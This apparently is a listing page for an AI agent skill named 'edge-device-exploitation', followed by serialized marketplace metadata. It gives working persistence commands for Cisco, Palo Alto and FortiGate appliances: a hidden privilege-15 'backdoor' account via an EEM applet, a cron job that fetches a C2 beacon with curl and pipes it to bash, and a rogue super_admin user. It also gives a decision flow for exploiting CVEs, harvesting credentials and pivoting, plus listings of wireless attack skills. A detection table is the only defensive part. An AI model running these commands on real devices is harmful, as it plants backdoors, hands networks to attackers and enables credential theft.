Deployment\n\n```bash\n# Cisco IOS — persistent backdoor via EEM applet\nssh \u003CUSER>@\u003CTARGET> \u003C\u003C 'CISCO'\nconf t\nevent manager applet BACKDOOR\n event timer watchdog time 3600\n action 1.0 cli command \"enable\"\n action 2.0 cli command \"conf t\"\n action 3.0 cli command \"username backdoor privilege 15 secret 0 \u003CIMPLANT_PASS>\"\n action 4.0 cli command \"end\"\nend\nwrite memory\nCISCO\n\n# PAN-OS — cron-based persistence\nssh admin@\u003CTARGET> \"echo '*\u002F30 * * * * curl -sk https:\u002F\u002F\u003CC2>\u002Fbeacon|bash' >> \u002Fetc\u002Fcron.d\u002Fpan_task\"\n\n# FortiGate — persistent admin via CLI\nssh admin@\u003CTARGET> \u003C\u003C 'FORTI'\nconfig system admin\n  edit \"support_tech\"\n    set accprofile \"super_admin\"\n    set password \"\u003CIMPLANT_PASS>\"\n  next\nend\nFORTI\n```\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| Shodan \u002F Censys | Edge device discovery and fingerprinting |\n| Nmap + NSE | Port scanning and service identification |\n| Metasploit | CVE exploit modules for Cisco, Palo Alto, Fortinet |\n| onesixtyone | SNMP community string bruteforce |\n| snmpwalk \u002F snmpset | SNMP enumeration and config extraction |\n| Nuclei | Bulk CVE scanning templates for edge devices |\n| sshpass | Scripted SSH access for post-exploitation |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|---|---|\n| Unexpected admin accounts on appliances | Periodic config diff \u002F SIEM baseline |\n| CVE-2023-20198 IOC: `\u002Fwebui\u002Flogoutconfirm.html` access | Web proxy \u002F IDS signature |\n| CVE-2024-3400 IOC: SESSID with path traversal | WAF rule on cookie content |\n| SNMP community string bruteforce | IDS alert on SNMP GetRequest bursts |\n| FGFM rogue device registration | FortiManager event log for unknown serial |\n| EEM applet creation | Cisco syslog for `%HA_EM-6-LOG` events |\n| Unusual TFTP\u002FSCP from network devices | NetFlow analysis for device-to-external transfers |\n\n## Error Handling & Edge Cases\n\n- **Web UI disabled**: Fall back to SNMP or SSH-based exploitation; many CVEs target web management specifically\n- **Device behind NAT**: Use Shodan historical data; pivot through VPN tunnel if partial access exists\n- **SNMP v3 only**: Requires credentials; attempt default `authPriv` credentials before brute-force\n- **Patched device**: Check for incomplete patches; Ivanti ICT bypass was common post-patch\n- **HA cluster**: Exploit may need to target both primary and standby nodes\n- **Firmware integrity checks**: Some vendors verify image signatures; implant deployment may require modifying the verification routine\n\n## Decision Gate\n\n```\nIF edge device discovered with web UI exposed:\n  → Check CVE applicability by version fingerprint\n  → Attempt highest-CVSS CVE first (typically auth bypass + RCE chain)\n  → On success: extract config, harvest creds, assess implant viability\n  → Pivot to internal network via device's trusted interfaces\n\nIF only SNMP accessible:\n  → Attempt community string brute → config extraction → credential harvest\n  → Use extracted creds for SSH\u002Fconsole access\n\nIF fully patched:\n  → Attempt default\u002Fweak credentials on management interfaces\n  → Check for misconfigured ACLs allowing management access from untrusted zones\n  → Document as hardened perimeter; pivot to other attack surface\n```\n",{"name":5,"metadata":24,"description":7},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"exploit edge-device network-appliance cve","execution","edge device router firewall vpn appliance cisco ios xe fortinet fortigate fortimanager ivanti pulse secure palo alto pan-os network device exploit cve-2023-20198 cve-2024-21887 cve-2024-3400 cve-2024-47575 snmp config extraction implant network perimeter","T1190, T1133, T1602","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fedge-device-exploitation","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Akapi895\u002Fraptix --skill edge-device-exploitation",{"tool":41,"command":42},"bunx","bunx skills add Akapi895\u002Fraptix --skill edge-device-exploitation",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill edge-device-exploitation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fedge-device-exploitation\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]